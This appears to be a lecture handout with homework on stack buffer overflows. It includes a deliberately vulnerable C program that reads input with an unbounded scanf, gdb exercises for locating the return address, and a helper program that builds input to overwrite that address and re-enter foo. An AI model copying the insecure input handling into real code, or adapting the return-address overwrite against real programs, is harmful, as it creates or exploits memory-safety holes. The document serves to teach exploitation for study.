Lecture 2: Flooding return address

1. Buffer overflow example: f2.c

#include <stdio.h>

void foo(){

char id[5];

printf("enter id\n");

scanf("%s", id);

printf("you entered %s \n", id);

}

int main(){

foo();

printf("program ends here\n");

return 0;

}

(Homework)

1) When “foo” is called, the system pushes the return address for “foo” in the stack and jumps to “foo”. Use gdb to find out this return address and the stack location where this address is stored. Examine the contents of this stack location to confirm that the stack indeed has the return address.

2) Find out the starting address of “id[]”. Explain how you found it. How far is id[] from the stack location where the return address is stored? Draw a memory map that shows code area and stack area. The code area should show where is main function and where is foo function. The stack area should show where is the return address for "foo" and the location of id[].

3) After you enter an ID at “enter id” prompt, examine the memory to confirm that the entered ID is stored correctly. At which address are they stored? Is that address same as the location of id[] you found in Problem 2)?

4) Step through the program until you are at “ret” instruction (right before running "ret"). What is the value of esp at this point? Instruction "ret" will make the cpu return to the location written in the stack where esp is pointing to. When the system executes "ret", where the cpu should return? Do “ni” and confirm that the program correctly returns to the return address you have predicted.

5) Rerun the debugger with "r" command, and this time enter a long ID such that it changes the return address. Dump the memory starting from “id[]” up to the return address location to see the changed return address. When the gdb executes “ret” instruction, where does it return?

6) Can you give an input such that the program asks "enter id" more than once? Remember you are not changing the program. You only give some strange input that would confuse the program. You will need to redirect the standard input in order to provide numeric input as follows.

./f2 < attack\_inp

The above command will make f2 read input from the file "attack\_inp" instead of the keyboard (the standard input). When you debugging your code, use following gdb command to make gdb read input from a file.

(gdb)run < attack-inp

The program will keep asking "enter id" if the attack was successful as follows.

enter id

you entered ..........

enter id

you entered .........

................

To produce attack-inp, write a program that displays hexadecimal numbers as below.

inp-write.c:

#include <stdio.h>

#include <string.h>

int main(){

char buf[200];

// assume we need 17 bytes to reach return address

strcpy(buf,"abcdeabcdeabcdeab"); // 17 bytes

// and we overwrite return address

// with the address of foo (assume it was 0x08048444)

buf[17]=0x44;

buf[18]=0x84;

buf[19]=0x04;

buf[20]=0x08;

write(1, buf, 21); // write to file number 1 which is the screen.

return 0;

}

$ gcc -o inp-write inp-write.c

$ ./inp-write > attack-inp

Check if attack-inp has the right attack bytes:

$ xxd attack-inp

..............

And use this to attack f2:

$ ./f2 < attack-inp

enter id

you entered ..........

enter id

you entered .........

................